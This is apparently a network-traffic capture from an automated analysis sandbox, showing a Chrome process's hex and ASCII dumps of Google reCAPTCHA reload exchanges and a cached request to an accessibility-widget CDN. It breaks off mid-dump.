2024-04-24 12:45:22 UTC	559	IN	Data Raw: 32 32 61 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 36 69 48 4b 6d 63 68 6f 61 30 6b 63 78 58 69 75 7a 4f 55 75 38 6e 5a 31 66 37 4d 68 76 6e 38 68 4a 35 39 6e 47 42 62 69 64 51 43 30 31 79 66 47 58 43 6d 37 4b 59 71 79 59 4f 65 61 30 65 53 72 58 66 45 77 32 68 32 58 78 34 6b 59 58 77 58 54 30 6d 76 50 62 31 31 63 4e 59 43 33 62 66 54 54 51 2d 4a 47 65 52 4a 2d 37 32 50 31 4a 49 36 33 68 54 35 4d 62 6b 57 2d 65 79 6e 34 4d 38 44 4f 37 61 42 45 75 35 56 37 33 5f 78 65 31 5f 6f 42 76 42 72 2d 50 70 72 6d 6f 45 49 4e 72 69 53 67 52 66 66 76 79 76 5f 66 39 65 47 51 68 46 39 79 46 76 67 47 45 32 6e 75 42 73 7a 43 7a 2d 74 6a 79 69 35 63 4e 7a 4d 46 70 72 72 6e 65 74 35 4f 65 43 6c 43 7a 54 6c 39 76 6d 71 6d 4c 64 4d 45 4c 33 Data Ascii: 22a)]}'["rresp","03AFcWeA46iHKmchoa0kcxXiuzOUu8nZ1f7Mhvn8hJ59nGBbidQC01yfGXCm7KYqyYOea0eSrXfEw2h2Xx4kYXwXT0mvPb11cNYC3bfTTQ-JGeRJ-72P1JI63hT5MbkW-eyn4M8DO7aBEu5V73_xe1_oBvBr-PprmoEINriSgRffvyv_f9eGQhF9yFvgGE2nuBszCz-tjyi5cNzMFprrnet5OeClCzTl9vmqmLdMEL3
2024-04-24 12:45:22 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 61 34 30 0d 0a 2d 4c 5a 44 7a 79 65 38 6b 75 30 39 42 64 41 44 47 2d 33 67 4d 49 78 4e 4a 79 54 2d 2d 67 64 77 48 4e 70 70 52 72 6d 4b 38 7a 75 6a 54 53 67 2d 5a 62 41 70 37 75 4b 34 6f 51 34 6f 62 56 4b 65 6d 6c 64 77 53 6a 68 46 46 42 54 34 69 68 31 31 6c 4b 68 46 43 75 4d 6c 55 49 48 74 46 68 74 4b 76 32 63 51 4c 33 6d 76 75 55 37 34 5a 67 67 68 36 73 4c 36 4c 41 58 64 52 58 4b 67 76 30 36 58 79 6a 78 6d 77 5f 72 66 47 41 42 67 51 77 30 65 78 49 57 64 4c 4a 59 63 71 69 49 36 72 52 75 72 35 6d 77 55 30 51 33 70 46 63 77 39 35 79 54 2d 46 32 4c 48 4e 49 63 5a 64 6f 56 62 44 62 47 4a 59 6e 55 7a 62 46 62 6b 52 43 66 6e 48 4b 36 30 65 36 79 56 75 45 42 4f 37 61 41 79 4d 55 4f 41 50 70 43 6d 46 41 67 73 61 46 33 41 61 74 44 69 54 6f 79 35 46 6d 32 79 70 75 Data Ascii: a40-LZDzye8ku09BdADG-3gMIxNJyT--gdwHNppRrmK8zujTSg-ZbAp7uK4oQ4obVKemldwSjhFFBT4ih11lKhFCuMlUIHtFhtKv2cQL3mvuU74Zggh6sL6LAXdRXKgv06Xyjxmw_rfGABgQw0exIWdLJYcqiI6rRur5mwU0Q3pFcw95yT-F2LHNIcZdoVbDbGJYnUzbFbkRCfnHK60e6yVuEBO7aAyMUOAPpCmFAgsaF3AatDiToy5Fm2ypu
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 79 4c 52 42 51 4a 75 5a 55 38 36 79 78 6e 45 78 52 48 78 4c 53 37 6a 6f 70 64 65 51 59 76 70 76 68 33 70 45 59 36 6d 74 4c 48 32 38 32 56 51 6e 30 56 54 50 2d 70 6d 75 75 73 31 61 51 68 5a 74 72 6e 4a 75 6d 64 4e 77 38 51 63 33 58 4f 73 73 46 49 54 6e 4b 62 41 44 67 63 56 31 74 69 5f 58 4c 66 31 38 4a 66 6c 4e 72 4b 54 38 7a 6b 66 66 76 37 6d 42 67 51 78 71 58 70 66 6c 71 6b 35 55 4d 44 4e 2d 70 68 37 6f 78 43 57 5a 44 6a 46 41 6e 51 7a 38 46 2d 31 6f 54 72 74 43 55 70 4c 35 75 42 41 56 6e 7a 47 77 5a 79 34 76 78 44 68 39 7a 35 38 71 50 30 5a 59 66 43 61 5f 35 79 70 54 4b 6d 55 35 73 6d 41 30 66 6d 58 65 6c 43 56 52 37 30 5f 42 51 6d 46 44 5a 46 6f 4e 73 56 72 4e 6c 52 4a 45 36 50 48 6e 58 35 4f 50 62 78 78 43 31 6c 7a 33 45 4c 4f 2d 61 4a 65 36 52 43 65 Data Ascii: yLRBQJuZU86yxnExRHxLS7jopdeQYvpvh3pEY6mtLH282VQn0VTP-pmuus1aQhZtrnJumdNw8Qc3XOssFITnKbADgcV1ti_XLf18JflNrKT8zkffv7mBgQxqXpflqk5UMDN-ph7oxCWZDjFAnQz8F-1oTrtCUpL5uBAVnzGwZy4vxDh9z58qP0ZYfCa_5ypTKmU5smA0fmXelCVR70_BQmFDZFoNsVrNlRJE6PHnX5OPbxxC1lz3ELO-aJe6RCe
2024-04-24 12:45:22 UTC	121	IN	Data Raw: 4c 62 41 30 36 57 5a 51 7a 55 72 59 49 2d 35 6c 4c 30 69 34 70 52 77 75 74 34 79 6c 42 54 42 56 34 46 53 5f 54 49 75 44 42 67 31 4e 73 51 6a 31 33 72 65 5a 6c 46 64 63 2d 78 33 65 53 50 4e 37 56 64 75 42 37 4f 4c 59 4e 67 64 4b 58 68 49 78 35 6b 43 6f 64 30 75 76 43 79 42 78 53 43 66 6a 6e 64 48 6f 68 73 59 76 64 47 52 56 67 46 6f 56 36 74 62 64 73 79 59 0d 0a Data Ascii: LbA06WZQzUrYI-5lL0i4pRwut4ylBTBV4FS_TIuDBg1NsQj13reZlFdc-x3eSPN7VduB7OLYNgdKXhIx5kCod0uvCyBxSCfjndHohsYvdGRVgFoV6tbdsyY
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 31 35 62 36 0d 0a 36 4d 7a 6c 65 50 31 47 47 75 30 69 2d 34 54 5f 36 54 69 4b 6a 76 6b 69 53 42 58 64 4d 61 6d 42 70 6a 4d 37 66 4b 73 33 78 75 75 42 63 36 58 4c 37 67 37 45 69 33 35 52 67 33 48 72 33 61 39 57 6c 79 46 37 56 77 43 4c 61 55 71 33 49 4b 56 43 6a 30 4c 79 6d 34 73 7a 59 69 34 71 4c 62 71 47 6d 39 31 6b 67 6a 75 52 76 32 6d 47 53 4e 76 63 50 49 55 47 4f 4d 4a 51 5a 30 7a 6a 79 5f 54 66 6c 4e 32 69 71 65 79 73 71 63 4f 6a 4e 49 63 5f 36 58 41 6e 36 35 35 58 2d 38 32 31 36 65 68 4a 76 79 6c 48 54 30 5f 6a 51 58 66 64 4e 77 44 79 63 31 68 74 6f 31 52 61 6f 70 52 75 70 78 67 37 6b 7a 5f 74 39 49 53 69 46 4d 69 75 75 47 77 64 65 42 4a 42 30 62 30 63 4c 63 77 6d 65 46 4d 6f 4e 44 47 31 43 52 4f 2d 64 55 6a 32 39 79 34 6f 63 4c 78 5f 6e 49 49 48 50 Data Ascii: 15b66MzleP1GGu0i-4T_6TiKjvkiSBXdMamBpjM7fKs3xuuBc6XL7g7Ei35Rg3Hr3a9WlyF7VwCLaUq3IKVCj0Lym4szYi4qLbqGm91kgjuRv2mGSNvcPIUGOMJQZ0zjy_TflN2iqeysqcOjNIc_6XAn655X-8216ehJvylHT0_jQXfdNwDyc1hto1RaopRupxg7kz_t9ISiFMiuuGwdeBJB0b0cLcwmeFMoNDG1CRO-dUj29y4ocLx_nIIHP
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 57 5a 7a 64 43 63 61 4b 31 51 54 53 45 67 58 33 33 79 77 5f 6a 34 6a 67 4d 52 6d 64 75 2d 30 49 6f 72 76 5f 5f 71 48 36 77 4b 64 79 32 5a 73 5f 70 62 33 74 76 4a 46 6d 4e 49 58 6d 49 4b 6b 4c 30 70 73 51 47 4d 43 34 61 66 45 41 32 5f 36 67 74 2d 63 6a 5f 55 4c 54 64 6a 34 64 44 48 38 53 47 72 79 4f 32 39 59 59 43 61 6e 70 58 4e 33 52 65 75 72 68 4d 61 76 59 44 39 46 46 77 56 64 7a 6a 70 6a 58 36 78 5f 33 33 4f 43 61 65 64 37 37 47 49 65 4f 75 6f 31 64 2d 36 43 4b 38 49 42 38 45 4c 6d 73 4f 49 4c 77 39 63 69 4a 63 54 43 67 6a 73 45 4f 51 59 68 7a 4c 5a 39 78 57 67 6e 6b 39 6f 61 63 6a 57 33 30 61 6f 79 71 42 4e 4e 44 50 62 43 61 76 45 4f 55 75 79 30 75 31 46 63 76 57 4e 64 75 68 79 68 45 43 62 64 4d 41 61 63 4e 77 79 56 45 31 55 49 37 59 68 47 30 54 48 56 Data Ascii: WZzdCcaK1QTSEgX33yw_j4jgMRmdu-0Iorv__qH6wKdy2Zs_pb3tvJFmNIXmIKkL0psQGMC4afEA2_6gt-cj_ULTdj4dDH8SGryO29YYCanpXN3ReurhMavYD9FFwVdzjpjX6x_33OCaed77GIeOuo1d-6CK8IB8ELmsOILw9ciJcTCgjsEOQYhzLZ9xWgnk9oacjW30aoyqBNNDPbCavEOUuy0u1FcvWNduhyhECbdMAacNwyVE1UI7YhG0THV
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 63 32 4e 4a 56 57 77 35 61 6a 4e 71 59 32 46 4e 4d 6b 5a 6e 52 48 59 31 57 47 70 6a 57 55 78 7a 4e 32 70 54 4d 47 74 57 65 44 5a 70 54 30 74 36 55 45 52 6c 53 6b 39 4e 4e 43 74 5a 54 47 64 52 52 31 56 31 4d 6c 6c 55 53 44 63 7a 51 6b 46 76 57 69 74 6a 55 56 46 6b 63 30 56 55 61 45 52 55 56 45 6f 7a 5a 48 4e 51 55 57 55 34 63 45 46 4e 57 58 41 72 61 33 52 71 62 57 31 32 4e 48 4a 6d 55 47 74 6d 64 56 68 6c 54 46 68 70 4e 31 46 30 62 44 52 71 62 33 5a 43 51 55 5a 4c 53 46 6c 4f 57 47 6b 7a 57 57 39 77 59 30 64 71 63 6e 46 6c 4f 58 52 33 4b 79 39 46 56 30 49 76 57 6c 4a 4e 65 6e 46 44 55 57 5a 42 52 54 52 54 54 6e 64 31 5a 30 4e 79 65 55 55 35 65 48 4d 78 63 55 34 32 57 57 78 52 62 32 52 4d 57 54 64 51 56 32 78 6e 4e 6b 56 50 4c 30 64 35 62 30 39 58 54 6b 6c Data Ascii: c2NJVWw5ajNqY2FNMkZnRHY1WGpjWUxzN2pTMGtWeDZpT0t6UERlSk9NNCtZTGdRR1V1MllUSDczQkFvWitjUVFkc0VUaERUVEozZHNQUWU4cEFNWXAra3RqbW12NHJmUGtmdVhlTFhpN1F0bDRqb3ZCQUZLSFlOWGkzWW9wY0dqcnFlOXR3Ky9FV0IvWlJNenFDUWZBRTRTTnd1Z0NyeUU5eHMxcU42WWxRb2RMWTdQV2xnNkVPL0d5b09XTkl
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 4e 59 56 56 72 52 44 52 68 64 6e 5a 4a 61 46 6b 33 55 45 52 55 4d 30 63 35 4c 33 5a 31 4d 58 64 6d 54 54 4a 58 62 32 55 31 55 46 56 76 61 56 52 54 5a 7a 4a 34 59 6a 4a 6d 4d 47 64 45 53 55 78 57 4c 30 70 6d 64 55 51 78 4e 58 64 33 59 6d 46 44 4d 6c 46 79 51 6e 51 35 55 6c 4e 31 61 47 39 61 51 55 78 57 4d 54 56 44 4e 32 4a 6b 54 33 70 72 4e 56 64 76 54 47 4a 58 5a 56 6c 50 53 55 34 78 54 6a 64 78 4d 56 46 6f 4e 47 64 52 63 57 45 32 65 56 6f 30 56 58 52 45 4e 7a 46 71 4c 33 56 54 52 45 46 36 56 33 56 69 59 6c 6c 4f 4e 31 4e 4e 62 58 4e 53 4e 30 38 72 51 7a 4a 45 59 6a 5a 70 62 57 46 50 5a 6b 39 78 51 55 31 35 4f 55 6b 32 64 7a 67 30 51 56 56 4e 57 48 4e 69 52 47 6c 79 53 57 51 33 53 6d 70 72 56 54 5a 4b 62 6b 70 59 62 48 56 56 61 47 4e 4b 63 6a 41 78 57 46 Data Ascii: NYVVrRDRhdnZJaFk3UERUM0c5L3Z1MXdmTTJXb2U1UFVvaVRTZzJ4YjJmMGdESUxWL0pmdUQxNXd3YmFDMlFyQnQ5UlN1aG9aQUxWMTVDN2JkT3prNVdvTGJXZVlPSU4xTjdxMVFoNGdRcWE2eVo0VXRENzFqL3VTREF6V3ViYllON1NNbXNSN08rQzJEYjZpbWFPZk9xQU15OUk2dzg0QVVNWHNiRGlySWQ3SmprVTZKbkpYbHVVaGNKcjAxWF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	50182	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:22 UTC	464	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
2024-04-24 12:45:23 UTC	736	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:45:23 GMT Connection: close Cache-Control: no-cache expires: Thu, 24 Apr 2025 12:44:32 GMT last-modified: Fri, 19 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" x-goog-generation: 1713484803296703 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * x-guploader-uploadid: ABPtcPpjwrlODOGe_M1_3nbRujKT53UnTQcp6qu9-ak2ZbIs3clNIrK2YrRrB5Z-P2gCunlhb5cmkPsBvg CF-Cache-Status: HIT Age: 51 Server: cloudflare CF-RAY: 879630aacd24a984-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	50183	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:23 UTC	974	OUT	POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 8514 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:23 UTC	8514	OUT	Data Raw: 0a 18 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 12 8e 0f 30 33 41 46 63 57 65 41 36 59 32 59 74 65 68 39 37 7a 69 58 70 48 73 53 77 41 38 4a 79 46 6a 65 70 4f 31 30 71 75 61 6b 77 7a 5a 62 31 43 37 36 69 6f 74 4e 4b 4d 73 73 6a 32 55 46 41 71 42 6a 46 37 35 4f 77 31 71 36 4b 6a 61 30 4f 61 39 2d 59 66 76 6f 6b 74 6e 42 6a 56 38 75 5f 72 48 75 4b 6c 58 76 56 65 6a 77 71 55 54 6c 79 68 31 33 42 53 52 66 49 62 6d 6d 5a 32 38 70 6e 44 47 49 63 37 43 32 6d 44 46 53 45 4a 6f 79 5f 6d 4b 38 6a 4c 65 33 50 56 6a 4a 57 31 73 68 4d 4f 31 48 4e 36 58 70 44 32 74 77 32 5a 6b 71 6a 6c 6d 51 53 4a 63 72 66 73 47 4e 57 73 34 6b 69 30 4b 59 67 4a 58 52 31 56 44 43 47 59 6f 32 6e 4d 43 79 75 56 58 76 61 49 68 57 68 67 6a 65 43 38 51 4f 74 79 Data Ascii: QoukH5jSO3sKFzVEA7Vc8VgC03AFcWeA6Y2Yteh97ziXpHsSwA8JyFjepO10quakwzZb1C76iotNKMssj2UFAqBjF75Ow1q6Kja0Oa9-YfvoktnBjV8u_rHuKlXvVejwqUTlyh13BSRfIbmmZ28pnDGIc7C2mDFSEJoy_mK8jLe3PVjJW1shMO1HN6XpD2tw2ZkqjlmQSJcrfsGNWs4ki0KYgJXR1VDCGYo2nMCyuVXvaIhWhgjeC8QOty
2024-04-24 12:45:23 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Wed, 24 Apr 2024 12:45:23 GMT Expires: Wed, 24 Apr 2024 12:45:23 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E;Path=/recaptcha;Expires=Mon, 21-Oct-2024 12:45:23 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:23 UTC	559	IN	Data Raw: 32 33 64 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 35 48 46 75 4a 73 79 75 50 70 66 70 33 35 37 34 4d 59 77 49 46 4c 6d 79 6e 79 31 48 61 6a 4d 30 73 79 37 44 36 70 55 39 73 76 41 53 69 56 34 38 46 37 63 73 6f 51 41 5f 45 54 51 59 51 66 56 57 79 44 49 59 49 59 65 48 33 35 5f 49 37 2d 38 30 62 2d 50 53 6c 61 31 55 6b 6d 34 6d 6e 36 54 36 2d 4d 54 43 74 6a 78 65 49 47 6d 35 6b 65 52 6e 67 51 76 6f 6e 46 64 74 58 54 2d 47 51 69 44 6e 39 64 73 43 43 36 43 52 53 33 57 6f 77 62 67 44 48 6c 63 70 34 64 76 33 59 53 64 35 79 41 41 57 77 30 43 2d 70 38 43 77 67 66 74 76 5a 5f 5a 34 46 53 35 6b 49 41 54 4a 4f 6b 51 4a 36 77 53 6c 4d 53 78 47 31 34 55 34 64 74 53 79 32 58 70 77 66 47 57 35 69 39 33 59 70 62 38 6c 30 35 42 58 4d 75 61 Data Ascii: 23d)]}'["rresp","03AFcWeA5HFuJsyuPpfp3574MYwIFLmyny1HajM0sy7D6pU9svASiV48F7csoQA_ETQYQfVWyDIYIYeH35_I7-80b-PSla1Ukm4mn6T6-MTCtjxeIGm5keRngQvonFdtXT-GQiDn9dsCC6CRS3WowbgDHlcp4dv3YSd5yAAWw0C-p8CwgftvZ_Z4FS5kIATJOkQJ6wSlMSxG14U4dtSy2XpwfGW5i93Ypb8l05BXMua
2024-04-24 12:45:23 UTC	21	IN	Data Raw: 6a 74 77 68 62 66 6d 31 71 71 66 48 75 64 54 72 79 54 4d 0d 0a Data Ascii: jtwhbfm1qqfHudTryTM
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 61 34 63 0d 0a 5f 54 59 2d 73 6e 6c 54 39 36 69 64 79 41 6f 6e 69 61 5f 31 61 6a 63 32 61 55 69 47 6e 32 5a 32 6e 58 36 67 48 4a 56 43 70 7a 66 4f 51 31 4f 56 49 61 49 71 36 41 69 39 4f 68 6a 59 51 51 44 41 70 36 42 76 76 79 70 47 7a 32 77 79 72 6a 34 5a 4b 4b 62 69 39 77 5a 67 51 71 42 78 6e 4b 62 65 36 61 76 7a 44 66 74 71 30 6b 41 56 39 5a 5a 38 6b 65 53 59 77 33 34 6d 49 4c 4b 50 55 45 57 35 6e 6f 42 65 37 5f 35 50 5f 5a 64 68 57 56 68 41 53 6e 38 7a 36 61 32 36 5f 58 2d 50 42 4a 51 39 4b 6b 64 78 69 41 74 75 32 35 6b 36 6a 49 66 41 6e 53 31 31 5a 5a 37 63 50 76 36 48 50 67 53 69 65 55 67 65 34 6f 37 74 34 63 43 68 59 73 39 32 33 57 54 4a 46 35 50 6e 49 4a 57 4c 35 36 57 55 57 65 30 31 34 58 4d 30 4d 65 5f 51 69 36 5f 38 52 68 6d 46 53 76 4f 32 4a 6e Data Ascii: a4c_TY-snlT96idyAonia_1ajc2aUiGn2Z2nX6gHJVCpzfOQ1OVIaIq6Ai9OhjYQQDAp6BvvypGz2wyrj4ZKKbi9wZgQqBxnKbe6avzDftq0kAV9ZZ8keSYw34mILKPUEW5noBe7_5P_ZdhWVhASn8z6a26_X-PBJQ9KkdxiAtu25k6jIfAnS11ZZ7cPv6HPgSieUge4o7t4cChYs923WTJF5PnIJWL56WUWe014XM0Me_Qi6_8RhmFSvO2Jn
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 4c 4b 4e 66 68 4a 44 70 31 45 48 57 45 36 62 54 44 6f 42 50 6f 71 4d 49 5a 79 70 64 47 73 53 50 4b 48 52 48 6e 4c 44 58 6a 30 62 70 6a 78 75 74 47 4a 2d 37 30 56 71 65 33 41 7a 59 70 79 48 75 64 76 65 46 72 59 6f 66 69 63 64 4f 63 69 5f 52 58 33 2d 5a 35 44 31 73 69 43 57 6a 6c 54 67 4e 44 4e 48 36 46 45 37 33 49 59 59 6f 30 36 55 4d 44 36 42 70 42 62 48 6c 49 79 42 64 4d 67 6d 43 6e 70 56 78 7a 49 65 71 79 35 72 77 6f 6d 71 66 34 32 47 79 76 69 74 68 72 66 52 6e 49 6c 72 79 38 6f 71 75 64 4b 70 58 4b 73 6c 4c 35 4f 50 4f 45 62 41 32 73 79 50 77 50 52 77 71 6a 6c 4a 70 69 58 48 72 52 48 38 6b 68 30 69 43 35 33 64 79 7a 2d 46 4b 6d 34 71 4a 78 50 43 56 70 5a 79 2d 78 30 77 38 4e 66 66 4f 59 66 70 65 6e 49 47 50 4e 6d 47 70 42 6e 49 59 4b 55 47 55 7a 61 7a Data Ascii: LKNfhJDp1EHWE6bTDoBPoqMIZypdGsSPKHRHnLDXj0bpjxutGJ-70Vqe3AzYpyHudveFrYoficdOci_RX3-Z5D1siCWjlTgNDNH6FE73IYYo06UMD6BpBbHlIyBdMgmCnpVxzIeqy5rwomqf42GyvithrfRnIlry8oqudKpXKslL5OPOEbA2syPwPRwqjlJpiXHrRH8kh0iC53dyz-FKm4qJxPCVpZy-x0w8NffOYfpenIGPNmGpBnIYKUGUzaz
2024-04-24 12:45:23 UTC	133	IN	Data Raw: 30 55 66 77 71 67 46 47 70 6b 4b 59 50 48 68 6b 79 76 38 45 78 57 4a 31 68 33 45 75 30 33 73 6a 68 63 48 56 65 72 48 2d 4f 4e 5f 30 39 78 68 74 52 79 56 76 73 64 6c 79 61 4f 6d 44 55 5a 57 4b 4e 49 55 48 4e 66 61 32 50 7a 43 77 77 54 51 30 4b 64 6f 38 7a 4b 7a 6b 6b 4b 4f 62 48 74 38 70 4c 7a 61 4d 6c 4e 49 6b 78 52 4c 72 63 78 7a 79 6c 37 33 54 41 53 32 74 7a 34 71 51 76 61 48 53 68 38 79 0d 0a Data Ascii: 0UfwqgFGpkKYPHhkyv8ExWJ1h3Eu03sjhcHVerH-ON_09xhtRyVvsdlyaOmDUZWKNIUHNfa2PzCwwTQ0Kdo8zKzkkKObHt8pLzaMlNIkxRLrcxzyl73TAS2tz4qQvaHSh8y
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 31 35 35 33 0d 0a 6e 6a 49 49 66 33 43 65 4e 44 67 75 4a 36 48 72 67 50 5a 50 5a 39 67 67 73 57 4a 65 7a 58 5f 36 31 52 4f 73 4b 77 6d 73 2d 47 49 33 42 5a 57 49 7a 78 68 5a 44 34 77 61 43 49 37 7a 72 66 52 62 66 5f 51 72 58 6a 6c 45 72 38 77 30 4e 4b 69 72 4e 48 45 42 32 53 4a 30 5a 37 54 58 69 6c 79 39 79 38 53 72 78 79 34 77 4d 32 63 53 58 5f 48 77 44 6f 6b 72 58 47 73 6a 74 37 4f 68 6e 77 47 74 51 54 30 75 73 6d 64 69 63 2d 63 4c 4e 4c 6a 79 76 65 73 31 45 79 4b 42 43 49 51 76 2d 66 6e 74 73 72 73 62 51 6d 58 38 32 4d 54 38 6c 43 2d 43 5f 42 61 42 46 4c 5a 62 4a 37 32 35 5a 43 43 46 36 4b 55 33 75 6f 51 5a 34 38 54 69 72 51 64 47 65 42 71 74 34 4c 71 54 79 53 6d 73 59 63 4a 59 65 6b 6d 51 41 34 37 55 49 4f 58 4b 36 73 65 79 6c 34 6f 35 61 6c 4d 76 6c Data Ascii: 1553njIIf3CeNDguJ6HrgPZPZ9ggsWJezX_61ROsKwms-GI3BZWIzxhZD4waCI7zrfRbf_QrXjlEr8w0NKirNHEB2SJ0Z7TXily9y8Srxy4wM2cSX_HwDokrXGsjt7OhnwGtQT0usmdic-cLNLjyves1EyKBCIQv-fntsrsbQmX82MT8lC-C_BaBFLZbJ725ZCCF6KU3uoQZ48TirQdGeBqt4LqTySmsYcJYekmQA47UIOXK6seyl4o5alMvl
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 6a 58 53 61 5a 72 45 75 4d 31 65 50 79 49 6f 47 53 45 63 4a 79 5a 6f 61 47 34 4d 51 6c 4b 35 6a 6e 72 45 5a 45 41 6d 4c 54 37 57 51 44 59 55 41 6a 52 6a 55 42 34 42 63 58 4a 65 61 77 54 6e 48 4f 73 63 4e 51 41 76 65 43 58 7a 71 41 64 68 66 36 4e 71 5f 37 31 36 46 73 51 34 44 78 41 66 6a 63 55 34 4e 34 72 51 30 46 32 2d 70 36 5f 42 53 30 72 73 59 42 54 6c 78 58 61 68 6e 57 71 59 58 63 79 50 44 67 4e 34 34 76 70 37 6f 4f 45 4f 64 4c 4c 4b 35 4c 54 6f 6e 45 75 47 2d 6a 36 77 45 49 6b 6d 34 35 41 33 78 6c 50 4e 61 4b 4f 65 44 48 39 4c 52 37 56 70 46 5f 34 65 7a 49 61 74 6a 50 37 31 4b 66 50 78 64 78 36 64 72 65 6a 79 37 65 42 75 56 63 68 64 4a 32 45 2d 5f 4a 78 68 43 50 79 74 31 57 4c 71 58 37 32 64 30 78 34 5f 4f 7a 44 4d 4d 6c 6e 68 5f 2d 49 31 59 70 75 67 Data Ascii: jXSaZrEuM1ePyIoGSEcJyZoaG4MQlK5jnrEZEAmLT7WQDYUAjRjUB4BcXJeawTnHOscNQAveCXzqAdhf6Nq_716FsQ4DxAfjcU4N4rQ0F2-p6_BS0rsYBTlxXahnWqYXcyPDgN44vp7oOEOdLLK5LTonEuG-j6wEIkm45A3xlPNaKOeDH9LR7VpF_4ezIatjP71KfPxdx6drejy7eBuVchdJ2E-_JxhCPyt1WLqX72d0x4_OzDMMlnh_-I1Ypug
2024-04-24 12:45:23 UTC	1255	IN	Data Raw: 56 45 6b 50 4f 55 65 57 54 5a 4e 30 49 36 32 59 46 44 6b 47 6e 46 45 51 6f 44 4a 64 79 2d 45 77 5f 44 62 31 67 35 52 76 52 55 37 75 6b 2d 35 6a 53 45 73 37 70 53 69 39 77 52 42 34 33 35 57 67 56 70 2d 31 33 65 52 50 6f 6c 56 54 54 6e 34 69 58 51 49 4b 6d 68 5a 67 6e 61 77 2d 48 35 34 31 54 46 2d 47 68 36 4c 4e 55 79 76 55 57 51 73 6d 44 74 58 64 42 48 59 22 2c 6e 75 6c 6c 2c 36 30 30 2c 5b 22 70 6d 65 74 61 22 2c 5b 22 2f 6d 2f 30 6b 34 6a 22 2c 6e 75 6c 6c 2c 33 2c 33 2c 33 2c 6e 75 6c 6c 2c 22 62 75 73 22 5d 2c 6e 75 6c 6c 2c 5b 31 5d 5d 2c 22 64 79 6e 61 6d 69 63 22 2c 6e 75 6c 6c 2c 5b 22 62 67 64 61 74 61 22 2c 22 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 Data Ascii: 